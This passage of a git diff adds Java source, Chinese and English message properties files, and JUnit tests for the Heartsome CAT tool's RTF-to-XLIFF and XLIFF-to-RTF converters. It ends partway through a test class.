+ writeString(line); + } + + line = buffer.readLine(); + } + infoLogger.endReplacingSegmentSymbol(); + output.close(); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("rtf.Xliff2Rtf.msg1"), e); + } finally { + replaceMonitor.done(); + } + } finally { + monitor.done(); + } + result.put(Converter.ATTR_TARGET_FILE, outputFile); + infoLogger.endConversion(); + return result; + } + + /** + * Load segments. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void loadSegments() throws SAXException, IOException { + + SAXBuilder builder = new SAXBuilder(); + if (catalogue != null) { + builder.setEntityResolver(catalogue); + } + + Document doc = builder.build(xliffFile); + Element root = doc.getRootElement(); + Element body = root.getChild("file").getChild("body"); //$NON-NLS-1$ //$NON-NLS-2$ + List units = body.getChildren("trans-unit"); //$NON-NLS-1$ + Iterator i = units.iterator(); + + segments = new Hashtable(); + + while (i.hasNext()) { + Element unit = i.next(); + segments.put(unit.getAttributeValue("id"), unit); //$NON-NLS-1$ + } + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + string = replaceToken(string, "\\par", "\n\\par"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\\line", "\n\\line"); //$NON-NLS-1$ //$NON-NLS-2$ + output.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Extract text. + * @param target + * the target + * @return the string + * @throws UnsupportedEncodingException + * the unsupported encoding exception + */ + private String extractText(Element target) throws UnsupportedEncodingException { + String result = ""; //$NON-NLS-1$ + List content = target.getContent(); + Iterator it = content.iterator(); + while (it.hasNext()) { + Node n = it.next(); + switch (n.getNodeType()) { + case Node.ELEMENT_NODE: + Element e = new Element(n); + if (e.getName().equals("ph")) { //$NON-NLS-1$ + result = result + e.getText(); + } else { + result = result + extractText(e); + } + break; + case Node.TEXT_NODE: + String value = n.getNodeValue(); + if (!n.getParentNode().getNodeName().equals("ph")) { //$NON-NLS-1$ + value = replaceToken(value, "\\", "\\\'5C"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2002', "\\enspace "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2003', "\\emspace "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2005', "\\qmspace "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2014', "\\emdash "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2013', "\\endash "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2018', "\\lquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2019', "\\rquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u201C', "\\ldblquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u201D', "\\rdblquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "{", "\\{"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "}", "\\}"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u0009', "\\tab "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u00A0', "\\~"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2011', "\\_"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u00AD', "\\-"); //$NON-NLS-1$ //$NON-NLS-2$ + value = clean(value); + } else { + value = replaceToken(value, "" + '\u00BB', "\\\'"); //$NON-NLS-1$ //$NON-NLS-2$ + } + if (result.matches(".*\\\\[a-z]+([0-9]+)?") && value.matches("^[a-zA-Z0-9\\s].*")) { //$NON-NLS-1$ //$NON-NLS-2$ + value = " " + value; //$NON-NLS-1$ + } + result = result + value; + break; + default: + break; + } + } + return result; + } + + /** + * Replace token. + * @param string + * the string + * @param token + * the token + * @param newText + * the new text + * @return the string + */ + String replaceToken(String string, String token, String newText) { + + int index = string.indexOf(token); + while (index != -1) { + String before = string.substring(0, index); + String after = string.substring(index + token.length()); + if (token.endsWith(" ") && after.length() > 0 && Character.isSpaceChar(after.charAt(0))) { //$NON-NLS-1$ + after = after.substring(1); + } + string = before + newText + after; + index = string.indexOf(token, index + newText.length()); + } + return string; + } + } + + /** + * Clean. + * @param string + * the string + * @return the string + */ + protected static String clean(String string) { + String clean = ""; //$NON-NLS-1$ + int length = string.length(); + for (int i = 0; i < length; i++) { + char c = string.charAt(i); + if (c <= '\u007F') { + clean = clean + c; + } else if (c == '\uE007') { + clean = clean + "}"; //$NON-NLS-1$ + } else if (c == '\uE008') { + clean = clean + "{"; //$NON-NLS-1$ + } else if (c == '\uE011') { + clean = clean + "\\\\"; //$NON-NLS-1$ + } else { + // Forget about conversion rules that use \' because there + // can + // be encoding issues, specially when handling Mac text. + // Do the OpenOffice trick for all extended characters + // instead. + clean = clean + "\\uc0\\u" + (int) c + " "; //$NON-NLS-1$ //$NON-NLS-2$ + } + } + return clean; + } + + /** + * Clean chars. + * @param string + * the string + * @return the string + */ + protected static String cleanChars(String string) { + String clean = ""; //$NON-NLS-1$ + int length = string.length(); + for (int i = 0; i < length; i++) { + char c = string.charAt(i); + if (c <= '\u007F' || c == '\uE007' || c == '\uE008' || c == '\uE011') { + clean = clean + c; + } else { + // Forget about conversion rules that use \' because there + // can + // be encoding issues, specially when handling Mac text. + // Do the OpenOffice trick for all extended characters + // instead. + clean = clean + "\\uc0\\u" + (int) c + " "; //$NON-NLS-1$ //$NON-NLS-2$ + } + } + return clean; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/resource/Messages.java new file mode 100644 index 0000000..0bb1787 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.rtf.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.rtf.resource.rtf"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/resource/rtf.properties b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/resource/rtf.properties new file mode 100644 index 0000000..3707dd3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/resource/rtf.properties @@ -0,0 +1,29 @@ +rtf.Rtf2Xliff.msg1 = RTF \u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff1a\u6837\u5f0f\u8868\u5185\u6709\u672a\u77e5\u7684\u5b57\u4f53\uff1a{0}\u3002\u8bf7\u4fee\u590d\u8be5\u9519\u8bef\u540e\u518d\u91cd\u8bd5\u3002 +rtf.Rtf2Xliff.msg2 = RTF \u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff1a\u5b57\u4f53\u8868\u5185\u6709\u672a\u77e5\u7684\u5b57\u7b26\u96c6\uff1a{0}\u3002\u8bf7\u4fee\u590d\u8be5\u9519\u8bef\u540e\u518d\u91cd\u8bd5\u3002 +rtf.Rtf2Xliff.msg3 = \u65e0\u6cd5\u5c06 Trados \u53cc\u8bed RTF \u8f6c\u6362\u4e3a XLIFF\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5355\u8bed RTF \u6587\u4ef6\u3002 +rtf.Rtf2Xliff.msg4 = RTF \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +#rtf.Rtf2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +#rtf.Rtf2Xliff.task2 = \u6b63\u5728\u5904\u7406\u6e90\u6587\u4ef6... +rtf.Rtf2Xliff.task3 = \u6b63\u5728\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9... +rtf.Rtf2Xliff.task4 = \u6b63\u5728\u521b\u5efa\u7ec4\u5185\u5bb9... +rtf.Rtf2Xliff.task5 = \u6b63\u5728\u89e3\u6790\u7ec4\u5185\u5bb9... +rtf.Rtf2Xliff.task6 = \u6b63\u5728\u5904\u7406\u7ec4\u5185\u5bb9... +rtf.Rtf2Xliff.task7 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u5185\u5bb9... +rtf.Rtf2Xliff.task8 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u4e2d\u7684 {}\\ \u7b26\u53f7... +rtf.Rtf2Xliff.task9 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u4e2d\u7684\u5176\u4ed6\u76f8\u5173\u6807\u8bb0... +rtf.Rtf2Xliff.task10 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u4e2d\u7684 \\{} \u6807\u8bb0... +rtf.Rtf2Xliff.task11 = \u6b63\u5728\u5904\u7406\u6240\u5206\u5272\u7684\u6bcf\u6bb5\u5185\u5bb9... + +rtf.Xliff2Rtf.msg0 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +rtf.Xliff2Rtf.msg1 = XLIFF \u8f6c\u6362 RTF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +#rtf.Xliff2Rtf.task1 = \u6b63\u5728\u8f6c\u6362... +rtf.Xliff2Rtf.task2 = \u6b63\u5728\u52a0\u8f7d Catalog \u6587\u4ef6... +rtf.Xliff2Rtf.task3 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +rtf.Xliff2Rtf.task4 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26.... + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +rtf.TYPE_NAME_VALUE = \u5bcc\u6587\u672c\u683c\u5f0f (RTF) + +########################## 2012-09-04 \u6dfb\u52a0 ########################################### +rtf.Rtf2Xliff.msg5 = Trados \u53cc\u8bed RTF \u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff1a\u6837\u5f0f\u8868\u5185\u6709\u672a\u77e5\u7684\u5b57\u4f53\uff1a{0}\u3002\u8bf7\u4fee\u590d\u8be5\u9519\u8bef\u540e\u518d\u91cd\u8bd5\u3002 +rtf.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/resource/rtf_en.properties b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/resource/rtf_en.properties new file mode 100644 index 0000000..12d1e86 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/resource/rtf_en.properties @@ -0,0 +1,29 @@ +rtf.Rtf2Xliff.msg1 = There is an error in the RTF file: Unknown font in the style sheet: {0}. Please try again once fixing errors. +rtf.Rtf2Xliff.msg2 = There is an error in the RTF file: Unknown character set in the font table: {0}. Please try again once fixing errors. +rtf.Rtf2Xliff.msg3 = Unable to convert RTF to XLIFF. Please select the RTF monolingual file. +rtf.Rtf2Xliff.msg4 = Failed to convert RTF to XLIFF. Please try again. +#rtf.Rtf2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +#rtf.Rtf2Xliff.task2 = \u6b63\u5728\u5904\u7406\u6e90\u6587\u4ef6... +rtf.Rtf2Xliff.task3 = Reading files... +rtf.Rtf2Xliff.task4 = Creating group contents... +rtf.Rtf2Xliff.task5 = Parsing group contents... +rtf.Rtf2Xliff.task6 = Processing group contents... +rtf.Rtf2Xliff.task7 = Parsing the contents of the file... +rtf.Rtf2Xliff.task8 = Parsing {}\\ symbols in files... +rtf.Rtf2Xliff.task9 = Analyzing tags in the file... +rtf.Rtf2Xliff.task10 = Parsing \\{} marks in files... +rtf.Rtf2Xliff.task11 = Processing each piece of content split... + +rtf.Xliff2Rtf.msg0 = Can't find segment {0}. The XLIFF file might be demaged. Please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +rtf.Xliff2Rtf.msg1 = Failed to convert XLIFF to RTF. Please try again. +#rtf.Xliff2Rtf.task1 = \u6b63\u5728\u8f6c\u6362... +rtf.Xliff2Rtf.task2 = Loading Catalog file... +rtf.Xliff2Rtf.task3 = Loading XLIFF files... +rtf.Xliff2Rtf.task4 = Replacing segment identifiers in the skeleton file... + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +rtf.TYPE_NAME_VALUE = Rich Text Format (RTF) + +########################## 2012-09-04 \u6dfb\u52a0 ########################################### +rtf.Rtf2Xliff.msg5 = There are errors exist in the RTF file: Unknown font in the style sheet: {0}. Please try again once fixing errors. +rtf.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/resource/rtf_zh.properties b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/resource/rtf_zh.properties new file mode 100644 index 0000000..3707dd3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/resource/rtf_zh.properties @@ -0,0 +1,29 @@ +rtf.Rtf2Xliff.msg1 = RTF \u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff1a\u6837\u5f0f\u8868\u5185\u6709\u672a\u77e5\u7684\u5b57\u4f53\uff1a{0}\u3002\u8bf7\u4fee\u590d\u8be5\u9519\u8bef\u540e\u518d\u91cd\u8bd5\u3002 +rtf.Rtf2Xliff.msg2 = RTF \u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff1a\u5b57\u4f53\u8868\u5185\u6709\u672a\u77e5\u7684\u5b57\u7b26\u96c6\uff1a{0}\u3002\u8bf7\u4fee\u590d\u8be5\u9519\u8bef\u540e\u518d\u91cd\u8bd5\u3002 +rtf.Rtf2Xliff.msg3 = \u65e0\u6cd5\u5c06 Trados \u53cc\u8bed RTF \u8f6c\u6362\u4e3a XLIFF\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5355\u8bed RTF \u6587\u4ef6\u3002 +rtf.Rtf2Xliff.msg4 = RTF \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +#rtf.Rtf2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +#rtf.Rtf2Xliff.task2 = \u6b63\u5728\u5904\u7406\u6e90\u6587\u4ef6... +rtf.Rtf2Xliff.task3 = \u6b63\u5728\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9... +rtf.Rtf2Xliff.task4 = \u6b63\u5728\u521b\u5efa\u7ec4\u5185\u5bb9... +rtf.Rtf2Xliff.task5 = \u6b63\u5728\u89e3\u6790\u7ec4\u5185\u5bb9... +rtf.Rtf2Xliff.task6 = \u6b63\u5728\u5904\u7406\u7ec4\u5185\u5bb9... +rtf.Rtf2Xliff.task7 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u5185\u5bb9... +rtf.Rtf2Xliff.task8 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u4e2d\u7684 {}\\ \u7b26\u53f7... +rtf.Rtf2Xliff.task9 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u4e2d\u7684\u5176\u4ed6\u76f8\u5173\u6807\u8bb0... +rtf.Rtf2Xliff.task10 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u4e2d\u7684 \\{} \u6807\u8bb0... +rtf.Rtf2Xliff.task11 = \u6b63\u5728\u5904\u7406\u6240\u5206\u5272\u7684\u6bcf\u6bb5\u5185\u5bb9... + +rtf.Xliff2Rtf.msg0 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +rtf.Xliff2Rtf.msg1 = XLIFF \u8f6c\u6362 RTF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +#rtf.Xliff2Rtf.task1 = \u6b63\u5728\u8f6c\u6362... +rtf.Xliff2Rtf.task2 = \u6b63\u5728\u52a0\u8f7d Catalog \u6587\u4ef6... +rtf.Xliff2Rtf.task3 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +rtf.Xliff2Rtf.task4 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26.... + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +rtf.TYPE_NAME_VALUE = \u5bcc\u6587\u672c\u683c\u5f0f (RTF) + +########################## 2012-09-04 \u6dfb\u52a0 ########################################### +rtf.Rtf2Xliff.msg5 = Trados \u53cc\u8bed RTF \u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff1a\u6837\u5f0f\u8868\u5185\u6709\u672a\u77e5\u7684\u5b57\u4f53\uff1a{0}\u3002\u8bf7\u4fee\u590d\u8be5\u9519\u8bef\u540e\u518d\u91cd\u8bd5\u3002 +rtf.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.rtf/testSrc/net/heartsome/cat/converter/rtf/test/Rtf2XliffTest.java b/hsconverter/net.heartsome.cat.converter.rtf/testSrc/net/heartsome/cat/converter/rtf/test/Rtf2XliffTest.java new file mode 100644 index 0000000..5445a02 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/testSrc/net/heartsome/cat/converter/rtf/test/Rtf2XliffTest.java @@ -0,0 +1,205 @@ +package net.heartsome.cat.converter.rtf.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.rtf.Rtf2Xliff; + +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.Test; + +public class Rtf2XliffTest { + public static Rtf2Xliff converter = new Rtf2Xliff(); + private static String srcODTFile = "rc/TestODT.rtf"; + private static String xlfODTFile = "rc/TestODT.rtf.xlf"; + private static String sklODTFile = "rc/TestODT.rtf.skl"; + + private static String srcDocFile = "rc/TestDoc.rtf"; + private static String xlfDocFile = "rc/TestDoc.rtf.xlf"; + private static String sklDocFile = "rc/TestDoc.rtf.skl"; + + @Before + public void setUp() { + File xlf = new File(xlfODTFile); + if (xlf.exists()) { + xlf.delete(); + } + + File skl = new File(sklODTFile); + if (skl.exists()) { + skl.delete(); + } + + xlf = new File(xlfDocFile); + if (xlf.exists()) { + xlf.delete(); + } + + skl = new File(sklDocFile); + if (skl.exists()) { + skl.delete(); + } + } + + @Test(expected = ConverterException.class) + public void testConvertMissingCatalog() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + // args.put(Converter.ATTR_CATALOGUE, rootFolder + + // "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingSRX() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingINI() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + // args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test + public void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + + args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcDocFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfDocFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklDocFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + result = converter.convert(args, null); + xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @AfterClass + public static void finalConverter() throws ConverterException { + + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklODTFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + + args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcDocFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfDocFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklDocFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + result = converter.convert(args, null); + xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + + } +} diff --git a/hsconverter/net.heartsome.cat.converter.rtf/testSrc/net/heartsome/cat/converter/rtf/test/Xliff2RtfTest.java b/hsconverter/net.heartsome.cat.converter.rtf/testSrc/net/heartsome/cat/converter/rtf/test/Xliff2RtfTest.java new file mode 100644 index 0000000..796389e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/testSrc/net/heartsome/cat/converter/rtf/test/Xliff2RtfTest.java @@ -0,0 +1,79 @@ +package net.heartsome.cat.converter.rtf.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.rtf.Xliff2Rtf; + +import org.junit.Before; +import org.junit.Test; + +public class Xliff2RtfTest { + public static Xliff2Rtf converter = new Xliff2Rtf(); + private static String tgtODTFile = "rc/TestODT_en-US.rtf"; + private static String xlfODTFile = 